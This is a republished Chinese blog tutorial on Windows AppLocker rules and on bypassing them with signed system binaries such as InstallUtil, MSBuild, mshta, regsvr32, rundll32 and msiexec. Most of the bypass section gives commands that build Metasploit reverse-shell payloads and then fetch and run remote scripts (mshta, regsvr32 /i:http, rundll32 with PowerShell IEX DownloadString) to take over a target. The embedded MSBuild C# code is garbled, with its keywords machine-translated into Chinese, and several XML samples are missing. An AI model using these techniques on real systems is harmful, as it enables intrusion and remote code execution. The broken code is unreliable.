首頁  >  文章  >  運維  >  如何進行AppLocker繞過分析

如何進行AppLocker繞過分析

WBOY
WBOY轉載
2023-05-15 10:55:191036瀏覽

前言

什麼是applocker<br>

AppLocker即“應用程式控制策略”,是Windows 7系統中新增加的安全功能。在win7以上的系統中預設都整合了該功能,我們可以使用在services中啟用Application Identity,然後在local security policy中找到Application Control Policies中看到Applocker選項。

applocker規則<br>

預設的Applocker規則支援以下幾種:

規則** | 關聯的文件格式---|--- 可執行文件| .exe、.com 腳本| .ps1、.bat、.cmd、.vbs、.js Windows Installer 檔案| .msi、.msp、.mst 封裝應用程式和封裝應用程式安裝程式| .appx DLL 檔案|  .dll、 .ocx

.appx並不是所有的applocker都會存在,應根據windows版本來,在win10上,建立applocker規則後會在C:\Windows\System32\AppLocker生產對應的.applocker檔案。

applocker規則條件<br>

規則條件是用來幫助 AppLocker 識別要套用規則的應用程式的標準。三個主要規則條件為發布者、路徑和檔案雜湊。

  • 發佈者:基於應用程式的數位簽章標識它<br>

  • #路徑:透過應用在電腦檔案系統或網路上的位置來標識它<br>

  • 檔案雜湊:表示已標識檔案的系統計算的加密雜湊<br>

如何進行AppLocker繞過分析

AppLocker 預設規則<br>

在你建立了一個applocker規則後,系統會預設詢問你是否新增一條預設規則,如下圖所示:

如何進行AppLocker繞過分析

每個規則所對應的預設規則如下:

可執行的預設規則類型包括:

  • 允許本機Administrators 群組的成員運行所有應用程式。 <br>

  • 允許 Everyone 群組的成員在 Windows 資料夾中運行的應用程式。 <br>

  • 允許 Everyone 群組的成員在 Program Files 資料夾中執行的應用程式。 <br>

腳本預設規則類型包括:

  • #允許本機 Administrators 群組的成員執行所有腳本。 <br>

  • 允許 Everyone 群組的成員在 Program Files 資料夾中執行的腳本。 <br>

  • 允許 Everyone 群組的成員在 Windows 資料夾中執行 Windows 資料夾中的腳本。 <br>

Windows Installer 預設規則類型包含:

  • #允許本機 Administrators 群組的成員執行所有 Windows Installer 檔案。 <br>

  • 允許 Everyone 群組的成員運行所有已進行數位簽章的 Windows Installer 檔案。 <br>

  • 允許 Everyone 群組的成員在 Windows\Installer 資料夾中執行所有 Windows Installer 檔案的成員。 <br>

DLL 預設規則類型:

  • #允許本機 Administrators 群組的成員執行所有 DLL。 <br>

  • 允許 Everyone 群組的成員執行 Program Files 資料夾中的 DLL。 <br>

  • 允許 Everyone 群組的成員執行 Windows 資料夾中的 DLL。 <br>

封裝套用預設規則類型:

  • #允許Everyone 群組的成員安裝和執行所有已簽署的封裝應用程式和封裝應用安裝程式<br>

AppLocker 規則行為<br>

#可將規則配置為使用允許或拒絕操作:

  • 允許。你可以指定允許在你的環境中運行的檔案以及所針對的使用者或使用者群組。你也可以設定例外以標識從規則中排除的檔案。 <br>

  • 拒絕。你可以指定 not 允許在你的環境中執行的檔案以及所針對的使用者或使用者群組。你也可以設定例外以標識從規則中排除的檔案。 <br>

如何進行AppLocker繞過分析

建立一個applocker規則<br>

講了那麼多,我們以禁止在桌面上執行exe文件為例,建立一條規則。建立完大體如下:

如何進行AppLocker繞過分析

執行exe測試:

如何進行AppLocker繞過分析

系統就會阻止我們執行

bypass Applocker<br>

Installutil.exe<br>

InstallUtil是.NET Framework的一部分,是一個命令列程序,它使用戶可以透過命令提示字元快速安裝和卸載應用程式。由於此實用程式是Microsoft簽署的二進位文件,因此可以用來繞過AppLocker限制來執行任何.NET可執行檔。該實用程式也位於Windows資料夾內,該資料夾不會套用AppLocker策略,因為需要執行Windows資料夾的內容才能使系統正常運作。

首先我們使用WhiteListEvasion(https://github.com/khr0x40sh/WhiteListEvasion)產生一個範本

<br>
<br>

python InstallUtil.py --cs_file pentestlab.cs --exe_file /root/Desktop/pentestlab.exe --payload windows/meterpreter/reverse_https --lhost 192.168.0.103 --lport 443

如何進行AppLocker繞過分析

##上面的指令將產生一個C#模板,其中將包含Metasploit ShellCode。

將產生後的檔案放到目標中使用下面的方法執行:

<br>
<br>
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= / LogToConsole=false /U /root/payload.exe

當然你也可以是先使用msf產生一個csharp的payload,然後取代範本中的shellcode,然後將cs檔案傳到目標機。

然後用csc編譯我們的腳本:

<br>
<br>
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe  /out:exeshell.exe exeshell.cs

如何進行AppLocker繞過分析

此時我們執行我們的檔案試試:

如何進行AppLocker繞過分析

#被規則攔截,那麼我們使用

<br>
<br>
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe

繞過

如何進行AppLocker繞過分析

#msf成功上線

如何進行AppLocker繞過分析

在msf中也有使用InstallUtil.exe進行applocker的bypass模組。

<br>
<br>
exploit/windows/local/applocker_bypass

原理是一樣的

如何進行AppLocker繞過分析##附帶常見的路徑:

    C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe
  • <br>

  • C:\Windows\Microsoft.NET\Framework64\ v2.0.50727\InstallUtil.exe
  • <br>

  • #C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
  • <br>

  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  • <br>

  • Msbuild.exe

<br># MSBuild.exe(Microsoft Build Engine)是Visual Studio所使用的軟體建置平台。它採用XML格式的專案文件,這些文件定義了建構各種平台和配置的要求。 (引用:MSDN MSBuild)

我們可以使用MSBuild透過受信任的Windows實用工具代理程式碼執行。 .NET版本4中引入的MSBuild內聯任務功能允許將C#程式碼插入XML專案文件中。內聯任務MSBuild將編譯並執行內聯任務。 MSBuild.exe是一個經過簽署的Microsoft二進位文件,因此,以這種方式使用它時,它可以執行任意程式碼,並繞過配置為允許MSBuild.exe執行的應用程式白名單防護.

#我們這裡直接使用GreatSCT產生一個xml檔。

<br>
<br>

./GreatSCT.py --ip 192.168.0.106 --port 4444 -t bypass -p msbuild/meterpreter/rev_tcp.py

如何進行AppLocker繞過分析並且會為我們產生一個rc文件,我們可以使用msfconsole -r 直接啟動msf

然後使用msbuild執行,

##msf上線:如何進行AppLocker繞過分析

當然你也可以是使用msf產生一個c#的shellcode然後使用三好學生師傅的模板載入:如何進行AppLocker繞過分析

https://github.com/3gstudent/msbuild- inline-task/blob/master/executes shellcode.xml

注意將後綴名改為.csproj

除了反彈shell以外我們還可以用它來繞過powershell的限制。

程式碼如下:如何進行AppLocker繞過分析

<br>
<br>

> > 目標> 代碼>任務> "); 字串 x = Console.ReadLine(); 嘗試 { Console.WriteLine(RunPSCommand(x)); } 捕獲(異常 e) { Console.WriteLine(e.Message); } } 返回真; }//基於賈里德·阿特金森和賈斯汀·華納的作品 公共靜態字串RunPSCommand(字串cmd) { //初始化東西 運行空間 runspace = RunspaceFactory.CreateRunspace(); 運行空間.Open(); RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); 管道 pipeline = runspace.CreatePipeline(); //新增指令 pipeline.Commands.AddScript(cmd); //準備PS用於字串輸出並調用 pipeline.Commands.Add("Out-String"); 集合結果= pipeline.Invoke(); 運轉空間.關閉(); //將記錄轉換為字串 StringBuilder stringBuilder = new StringBuilder(); foreach(結果中的 PSObject obj) { stringBuilder.Append(obj); } 返回 stringBuilder.ToString().Trim(); } 公共靜態無效RunPSFile(字串腳本) { PowerShell ps = PowerShell.Create(); ps.AddScript(腳本).Invoke(); } } ]]> 代碼>任務> 使用任務>

原位址:https://github.com/3gstudent/msbuild-inline-task/blob/master/executes PowerShellCommands.xml

如何進行AppLocker繞過分析

成功繞過powershell的限制。
  • 常見路徑如下:

    <br>

  • C:\Windows\Microsoft.NET\Framework\v2.0.50727\Msbuild. exe
  • <br>

    ##C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Msbuild.exe
  • <br>

    #C :\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
  • <br>##C:\Windows\Microsoft.NET\Framework64\v3.5\Msbuild.exe

  • ##C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe<br>

  • #C: \ Windows\Microsoft.NET\Framework64\v4.0.30319\Msbuild.exe<br>

Mshta.exe<br>

mshta.exe 是微軟WindowsWindows作業系統相關程序,英文全稱Microsoft HTML Application,可翻譯為微軟超文本標記語言應用,用於執行.HTA文件。默認已集成在環境變量中。

使用Mshta的方式有很多,我們在這裡使用msf的exploit/windows/misc/hta_server模組進行測試:

<br>
<br>

useexploit/windows/misc/hta_server msf利用(windows/misc/hta_server)>設定 srvhost 192.168.1.109 msf利用(windows/misc/hta_server)>利用

如何進行AppLocker繞過分析

目標機執行:

<br>
<br>

mshta.exe http://192.168.0.106:8080/JR1gb3TO6.hta

#即可上線。

除了此類方法hta還可以使用cobaltstrike 、Setoolkit、Magic unicorn、Empire、CactusTorch、Koadic、Great SCT等進行上線。

#除了本地文件,mshta還支援遠端遠端下載的方式執行payload,例如:

<br>
<br>

mshta.exe javascript:a=GetObject("script:https://gist.github.com/someone/something.sct").Exec();close ();

除了以上的方式,mshta可以用來執行powershell:

<br>
<br>

即使applocker已經禁止powershell執行了

如何進行AppLocker繞過分析

InfDefaultInstall.exe<br>

#InfDefaultInstall.exe是一個用來進行inf安裝的工具,具有微軟簽名,存在路徑為:

  • C:\Windows\System32\Infdefaultinstall.exe<br>

  • C:\Windows\SysWOW64\Infdefaultinstall.exe<br>

#我們也可以用它來繞過一些限制。用法就是直接該檔案後面跟著你的inf檔即可。

它的執行流程如下:

如何進行AppLocker繞過分析

作者給出的poc位址如下:

https://gist.github.com /KyleHanslovan/5e0f00d331984c1fb5be32c40f3b265a

思路也和圖中那樣,使用shady.inf去呼叫遠端的sct後門。

不過他的呼叫需要更高的權限,我在win10下運行的截圖:

如何進行AppLocker繞過分析

#Mavinject.exe<br>

# #Mavinject是win10上面自帶的windows元件,我們可以用它來進行dll注入,並繞過部分限制。

用法如下:

<br>
<br>
mavinject32.exe

常見路徑如下:

  • # C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe

    <br>

  • C:\Windows\System32\mavinject.exe

    <br>

    C:\Windows\System32\mavinject.exe
  • <br>

    C:\Windows\SysWOW64\mavinject.exe

#但是我本地複現的時候並沒有成功注入,但是也沒有什麼提示,不知道具體原因是什麼,版本為:     10.0.15063.0 (WinBuild.160101.0800)

應該是可以成功注入的,附上一張推特大佬成功的圖。 如何進行AppLocker繞過分析

有興趣的可以多嘗試幾個系統。 <br>

MSIEXEC

MSIEXEC是Microsoft的應用程序,可用於從命令列安裝或設定產品。這個其實不是很陌生的了,我之前也寫過用它來進行提權的文章。我們假設可以執行msi文件,用它來繞過applocker對powershell的限制。

先用msf產生一個msi檔。

<br>
<br>

msfvenom -f msi -p windows/exec CMD=powershell.exe >powershell.msi如何進行AppLocker繞過分析

windows下執行:如何進行AppLocker繞過分析

成功繞過。 <br>

msxsl.exe

msxsl.exe是xml的轉換器,帶有微軟數位簽章。下載網址如下:

https://www.microsoft.com/en-us/download/details.aspx?id=21714如何進行AppLocker繞過分析

我們使用3gstudent來嘗試繞過applocker對calc的限制,

customers.xml:

<br>
<br>

   John Smith  

123 Elm St.
 (123) 456-7890/phone>      Mary Jones  
456 Oak Ave.
 (156) 789-0123  

###script.xml:####
<br>
<br>

成功绕过:

如何進行AppLocker繞過分析

当然也可以执行我们的shellcode,具体参考:

https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml

Regsv***.exe<br>

regsv***是Windows命令行实用程序,用于将.dll文件和ActiveX控件注册和注销到注册表中。

文件位置:

  • C:\Windows\System32\regsv***.exe<br>

  • C:\Windows\SysWOW64\regsv***.exe<br>

下面为大家演示,绕过applocker上线。

如何進行AppLocker繞過分析

如何進行AppLocker繞過分析

scT文件内容如下:

<br>
<br>

各参数的含义:

  • 静默不显示任何消息// / s<br>

  • 不调用DLL注册服务器// / n<br>

  • 要使用另一个IP地址,因为它不会调用DLL注册服务器// / i<br>

  • 使用取消注册方法// / u<br>

除了本地执行,它还支持远程加载:

<br>
<br>

regsv*** /u /n /s /i:http://ip:port/payload.sct scrobj.dll

sct我们使用GreatSct生成即可。

Rundll32.exe<br>

Rundll32是一个Microsoft二进制文件,可以执行DLL文件中的代码。由于此实用程序是Windows操作系统的一部分,因此可以用作绕过AppLocker规则或软件限制策略的方法

先生成我们的payload:

如何進行AppLocker繞過分析

目标机执行:    

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";
document.write();
new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"

<br>

上线:

如何進行AppLocker繞過分析

除了远程之外,也可以本地上线:

rundll32 shell32.dll,Control_RunDLL C:\Users\pentestlab.dll

<br>

也可以用来绕过对某些软件的限制,比如弹个cmd:

如何進行AppLocker繞過分析

以上是如何進行AppLocker繞過分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:yisu.com。如有侵權,請聯絡admin@php.cn刪除